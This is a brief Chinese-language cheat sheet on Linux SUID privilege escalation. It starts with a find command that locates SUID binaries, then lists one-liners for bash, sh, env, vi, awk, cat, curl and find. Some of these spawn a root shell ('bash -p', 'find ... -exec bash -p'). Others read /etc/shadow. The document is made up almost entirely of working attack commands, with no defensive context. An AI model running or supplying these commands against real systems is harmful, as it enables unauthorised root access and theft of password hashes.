LINUX部分suid的提权

查找具有root权限的文件
find / -perm -u=s -type f 2> /dev/null

/bin/bash          $ bash -p
/bin/sh            $ sh -p
/bin/env           $ env /bin/sh -p
/bin/vi            $ vi /etc/shadow
/bin/awk           $ gawk '{print $0}'   /etc/shadow
/bin/cat           $ cat /etc/shadow
/usr/bin/curl      $ curl file:///etc/shadow
/bin/find          $ find /etc/passwd -exec cat /etc/shadow \;
                     find /etc/passwd -exec bash -p \;